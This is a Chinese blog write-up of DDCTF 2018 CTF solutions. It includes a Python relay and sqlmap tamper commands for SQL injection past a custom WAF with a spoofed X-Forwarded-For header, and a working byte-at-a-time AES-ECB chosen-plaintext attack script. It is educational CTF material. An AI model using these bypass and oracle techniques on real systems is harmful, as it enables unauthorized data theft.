Ex1t's space

DDCTF2018_WriteUp

字数统计: 2.9k阅读时长: 13 min
2018/04/30 Share

Web

Web1 数据库的秘密

这个题目是一个绕过WAF注入的题目,顺带考了一些Web的基础知识,第一次手动做WAF绕过,Mark一下
题目:http://116.85.43.88:8080/UNWROBCEZRCYCMKH/dfe3ia/index.php
打开提示 非法链接,只允许来自 123.232.23.245 的访问
加个header:x-forwarded-for:123.232.23.245
成功访问,页面为一个搜索框和数据框,看看源码发现有一个hidden的input表单项,参数为author,猜测其为注入点,进行SQL注入
然后发现了WAF,一开始看到WAF是安全狗,一直去找过狗的方法,结果只是表面是安全狗,实际上规则是出题人定义的,/*!union select*/这种一点用都没有。。。
一开始用hackbar来注入,直接改author然后post提示sig错误,发现还要验证sig,看了一下js,发现一个main.js和math.js,math.js是个算sha-1的js,还有一行
var key="\141\144\162\145\146\153\146\167\145\157\144\146\163\144\160\151\162\165";
打开main.js看到了很奇怪的代码:

1
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('e f(0,4){5 7=\'\';l(i m 0){n(i!=\'c\'){a=\'\';a=i+\'=\'+0[i];7+=a}}o k(7+4)};5 0={8:\'\',9:\'\',b:\'\',6:\'\',d:h(j v().u()/w)};e x(){0[\'8\']=1.2(\'8\').3;0[\'9\']=1.2(\'9\').3;0[\'b\']=1.2(\'b\').3;0[\'6\']=1.2(\'6\').3;5 c=f(0,4);1.2(\'g\').q="p.s?r="+c+"&d="+0.d;1.2(\'g\').t()}',34,34,'obj|document|getElementById|value|key|var|date|str0|id|title|str1|author|sign|time|function|signGenerate|queryForm|parseInt||new|hex_math_enc|for|in|if|return|index|action|sig|php|submit|getTime|Date|1000|submitt'.split('|'),0,{}))

一开始还懵了,觉得是不是找错了,后来想起来以前做过这种js很奇怪的题目,可能是用eval加了混淆,直接用Web Developer里面的Javascript Deobfuscator插件还原正常的js
打开Javascript Deobfuscator后重新访问一次页面,它会记录所有编译过的js,找到main.js最后一次编译的地方,看到已经是正常的js了,copy到sublime text里面自动排版一下,得到下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function signGenerate(obj, key)
{
var str0 = '';
for (i in obj)
{
if (i != 'sign')
{
str1 = '';
str1 = i + '=' + obj[i];
str0 += str1
}
}
return hex_math_enc(str0 + key)
};
var obj =
{
id : '',
title : '',
author : '',
date : '',
time : parseInt(new Date().getTime() / 1000)
};
function submitt()
{
obj['id'] = document.getElementById('id').value;
obj['title'] = document.getElementById('title').value;
obj['author'] = document.getElementById('author').value;
obj['date'] = document.getElementById('date').value;
var sign = signGenerate(obj, key);
document.getElementById('queryForm').action = "index.php?sig=" + sign + "&time=" + obj.time;
document.getElementById('queryForm').submit()
}

sig就是所有参数连起来的一个字符串用key算出来的sha-1,解决了sig,继续手注
后面花点时间fuzz一下发现 select 不会被拦截,union 和 select 一起用才会被拦截,于是想到 Boolean 注入
但是 =, <, > 都被拦截了,最后发现like和between没有过滤,可以利用like和between进行Boolean注入
然后比较懒,不想自己写脚本跑Boolean注入,就用python写了个中转网页用来跑sqlmap
web1.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import time
import requests
import hashlib


def tamperInteract(param):

key = "\141\144\162\145\146\153\146\167\145\157\144\146\163\144\160\151\162\165"

obj = dict()
obj['id'] = ""
obj['title'] = ""
obj['author'] = param
obj['date'] = ""
obj['time'] = str(int(time.time()))
headers = {'x-forwarded-for': '123.232.23.245'}

urlParam = 'id=' + obj['id'] + 'title=' + obj['title'] + 'author=' + \
obj['author'] + 'date=' + obj['date'] + 'time=' + obj['time'] + key
urlParam = hashlib.sha1(urlParam.encode()).hexdigest()

url = "http://116.85.43.88:8080/UNWROBCEZRCYCMKH/dfe3ia/index.php?sig=" + \
urlParam + "&time=" + obj['time']
#print(url)
data = {'id': obj['id'], 'title': obj['title'],
'author': obj['author'], 'date': obj['date']}
#print(data)
res = requests.post(url, data=data, headers=headers)
return res.text

'''
while True:
try:
p = input()
print(tamperInteract(p))
except:
break
'''

webpage.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import tornado.ioloop
import tornado.web
from web1 import tamperInteract


class MainHandler(tornado.web.RequestHandler):
"""docstring for MainHandler"""

def get(self):
param = self.get_argument('param')
param = param.replace('--','#')
self.write(tamperInteract(param))
print(param)

application = tornado.web.Application([
(r"/", MainHandler),
])

application.listen(8888)
tornado.ioloop.IOLoop.instance().start()

然后跑起来webpage.py之后用sqlmap跑127.0.0.1:8888就行了
这里sqlmap使用equaltolike和between两个tamper来绕过WAF

1
sqlmap -u "http://127.0.0.1:8888/?param=admin" --tamper equaltolike,between --level=2

注入成功,然后用sqlmap跑出flag
SQL注入&WAF绕过姿势 中有比较全面的SQL注入绕过WAF的方法

Sqlmap 常用资料:Sqlmap Tamper整理Sqlmap用户手册

Misc

Misc1 签到题

flag在公告里

Misc2 (╯°□°)╯︵ ┻━┻

(╯°□°)╯︵ ┻━┻
d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9e1e6b3e3b9e4b3b7b7e2b6b1e4b2b6b9e2b1b1b3b3b7e6b3b3b0e3b9b3b5e6fd

题目就给了一个字符串,想了想又不是sha-1又不是md5又不是base64,最后看到字母不超过f,可能是16进制编码,解开之后也是很奇怪的字符串,看到有很多大于128的数,想想加个偏移看看。
然后写了个ascii值偏移的遍历,最后看到了flag,所有数减128再print出来就是flag了。

Misc3 第四扩展FS

D公司正在调查一起内部数据泄露事件,锁定嫌疑人小明,取证人员从小明手机中获取了一张图片引起了怀疑。这是一道送分题,提示已经在题目里,日常违规审计中频次有时候非常重要。
附件:windows.jpg

这个题的题目是真的捉弄人,跟ext4一点关系都没有。。。
题目给了一个图片,走程序先binwalk一下,发现有东西,解出来一个zip压缩包,是加密过的。用Hxd看了下,不是伪加密,emmm试下爆破吧,准备去爆破的时候想起来没看图片的详细信息,这个好容易忘orz。。看了下标题是cof,备注是Pactera,华为手机拍的,试了下压缩包密码就是Pactera,还好看了下不然爆破跑死了,解出来一个file.txt,
里面是这个:

1
2
j0hz4huHCjuji1}{stzenozuFDTat0sj1HzeuDzs4T4tDaz1Ci0T4oa0j11juuijeHhFCah}jeDH4e{DDtD1DCDaTCThzH}FsFntn4a1{aCu1DtDjHD1DDCChCiuejsDHiD144zTHjzF4h}1FhehtTiFse44HTC0z{Tn0t{u}enh}jsnet}DDTDuuzziaHH0sjC4D1D41e0H}1j0aH{eD{CeiCniDuatDjotDFhhzFDtFHeDeTHhDFCHCozFHDTDet}0DeCDDDtnTD{0nCo0uCTHsHs0}hs1ttF0}044j{sThTjC}HzojThhs{o{n}ujuT10HjCTt0DhuCj{Ds1FuC41suhCt0jznDuD}TeDeCCD{zDhFDDDDs0HCthD{j1teuziiCT{DD0sDDuDTDCo{uFF}CDo{o0FCaFu0FHjTi{}1Cu4DD4aFunH11Feje04eThTzDsTC}hHD0Tz4DC{ninoFFsez{0sDeFuC}0j0esah4DDttjhD1D0iCteF0nH4esTtjzDuD1{CittDei4hs{TT{Dzts{0tezs4s{}4DDT{n4{0FFT4De}HhjFDs1jTHCts1zsoeh1aDTnCDz}hHC4FauCeu0tFT1uHh0DuzDujaC4{uHeuoh1FiT1aDeC{oD{DhTjoCj0u}sTeCiujeehT1iuztsn0hTs1a}tjaTDTFsjjezDD}nsssnHz{FCtuDFDuDHH{siTssaeaCDjo1{oh
...以下省略...

这又是什么加密??没见过。。。然后看到题目是ext4,就去查ext4的资料,然而并没有什么用。。。最后看到题目里面说统计频次,尝试了下统计各字符的频次,频次由大到小排列一下,结果就是flag了。(被ext4坑死了

1
2
3
4
5
6
7
8
9
10
raw = "j0hz4huHCjuji1}{s..." #这个地方省略了,太长了
S = list(raw)
u = set(S)
d = dict()
for i in u:
print(i,S.count(i))
d[S.count(i)]=i

for i in sorted(d,reverse=True):
print(d[i])

Misc4 流量分析

提示一:若感觉在中间某个容易出错的步骤,若有需要检验是否正确时,可以比较MD5: 90c490781f9c320cd1ba671fcb112d1c
提示二:注意补齐私钥格式
—–BEGIN RSA PRIVATE KEY—–
XXXXXXX
—–END RSA PRIVATE KEY—–
附件:1cMYNO2TCQHSfJwxnvm4z.pcap

这个题目就是一个典型的分析ssl加密流量的题,花了很多时间在流量里面的一个转fl-g.zip文件的ftp流量,但是文件是破损的,中间有很多包丢了,这只是用来迷惑参赛者的。。。看到题目提示去找到ssl流量,但是私钥又不知道在哪,最后在SMTP流量里面发现了一个图片,base64编码的,用py解码到文件里面,打开后看到了私钥:
rsa_private_key.png
mmp一个个手敲这不得累死,上OCR吧,然后试了各种在线OCR,最后发现QQ自带的文字识别是最准的,鹅厂还是6啊,里面只有很少的错误需要改一下,主要是O和0有时候会识别错误要注意检查一下,其他的都没有大问题(还是肉眼检查了一遍,不过总比手敲好,最后写wp的时候才发现题目给的MD5是用来检查私钥的。。),第一次导入私钥到wireshark的时候还有一个0没改成O,然后就卡在这儿了,ssl还是加密的,我还一度怀疑我的wireshark是不是有问题。。。最后再检查一遍才发现0没改过来。确认私钥没错之后,导入wireshark,导入之后wireshark会自己刷新一下,ssl加密的通讯立马就变成明文了,然后在明文里面找到flag。

Misc5 安全通信

请通过nc 116.85.48.103 5002答题,mission key是b9ba15b341c847c8beba85273f9b7f90,agent id随意填就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python
import sys
import json
from Crypto.Cipher import AES
from Crypto import Random


def get_padding(rawstr):
remainder = len(rawstr) % 16
if remainder != 0:
return '\x00' * (16 - remainder)
return ''


def aes_encrypt(key, plaintext):
plaintext += get_padding(plaintext)
aes = AES.new(key, AES.MODE_ECB)
cipher_text = aes.encrypt(plaintext).encode('hex')
return cipher_text


def generate_hello(key, name, flag):
message = "Connection for mission: {}, your mission's flag is: {}".format(name, flag)
return aes_encrypt(key, message)


def get_input():
return raw_input()


def print_output(message):
print(message)
sys.stdout.flush()


def handle():
print_output("Please enter mission key:")
mission_key = get_input().rstrip()

print_output("Please enter your Agent ID to secure communications:")
agentid = get_input().rstrip()
rnd = Random.new()
session_key = rnd.read(16)

flag = '<secret>'
print_output(generate_hello(session_key, agentid, flag))
while True:
print_output("Please send some messages to be encrypted, 'quit' to exit:")
msg = get_input().rstrip()
if msg == 'quit':
print_output("Bye!")
break
enc = aes_encrypt(session_key, msg)
print_output(enc)


if __name__ == "__main__":
handle()

AES-128加密的flag,爆破是不可能爆破的,这辈子都不可能直接爆破的。flag至少十几位啊。但是呢,仔细看看这个题目,它用的是ECB模式的AES,是分段加密的,并没有进行矩阵加密,是可以分段解密的,然后agent id,也就是name可以控制flag的在字符串中的偏移,这样看好像可以逐位爆破。思路就是用已知明文和一位未知明文组合,放在AES加密的同一分段里面,然后爆破这一位明文,校验AES值,爆破出来后再将字符串左移一位,继续爆破后面的一位明文。这个题目用的是AES-128的ECB模式,那么每16字节就是一个分段,也就是用15个已知明文字符和一个未知明文字符组合为一个分段进行爆破,于是写出解题代码(以下代码借鉴了Enigma2017 CTF中Broken Encryption一题的Writeup):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python

import sys
import time # for using a delay in network connections
import telnetlib # don't try using raw sockets, you'll tear your hair out trying to send the right line feed character

__author__ = 'Ex1t'


def parse_challenge(challenge):
ciphertext_blocks = [challenge[0:32], challenge[32:64], challenge[64:96],
challenge[96:128], challenge[128:160], challenge[160:192],
challenge[192:224], challenge[224:]]
return ciphertext_blocks


def main():
host = '116.85.48.103'
port = 5002

flag = "DDCTF{"
padchar = '0'
guessed_block = 'flag is: DDCTF{'

for i in range(47, 0, -1):
test_pad = "01234567" + i * padchar
#print(i)
tn = telnetlib.Telnet(host, port)
tn.read_until("Please enter mission key:")
tn.write("b9ba15b341c847c8beba85273f9b7f90\r\n")
tn.read_until("Please enter your Agent ID to secure communications:")
send_string = test_pad + "\r\n"
#print(send_string)
tn.write(send_string)
tn.read_until('\n')
challenge = tn.read_until('\n').decode().strip()
#print(challenge)
ciphertext_blocks = parse_challenge(challenge)
for guessed_byte in range(0x20, 0x7E): # printable ASCII range
test_block = guessed_block + chr(guessed_byte)
tn.read_until(
"Please send some messages to be encrypted, 'quit' to exit:")
tn.write(test_block + "\r\n")
tn.read_until('\n')
test_enc = tn.read_until('\n').decode().strip()

# Telnet input MUST BE DELIVERED with a \r\n line ending. If you send
# only the \n the remote end will silently error on your input and send back
# partially incorrect ciphertext! Untold hours debugging that bullshit.
# Here we carefully convert the bytearray to ASCII and then to a string type,
# or else telnetlib barfs because of the hell that is dynamic typing.

print("Currently guessing: " + test_block)

if test_enc == ciphertext_blocks[6]:
flag = flag + chr(guessed_byte)
guessed_block += chr(guessed_byte)
guessed_block = guessed_block[1:]
print("Guessed a byte of the secret, flag:" + flag)
# Finish the inner loop immediately, back up to the outer loop.
break
tn.close()
if(flag[-1] == '}'):
break

print("flag: " + flag)

print("Done")


if __name__ == "__main__":
main()

CATALOG
  1. 1. Web
    1. 1.1. Web1 数据库的秘密
  2. 2. Misc
    1. 2.1. Misc1 签到题
    2. 2.2. Misc2 (╯°□°)╯︵ ┻━┻
    3. 2.3. Misc3 第四扩展FS
    4. 2.4. Misc4 流量分析
    5. 2.5. Misc5 安全通信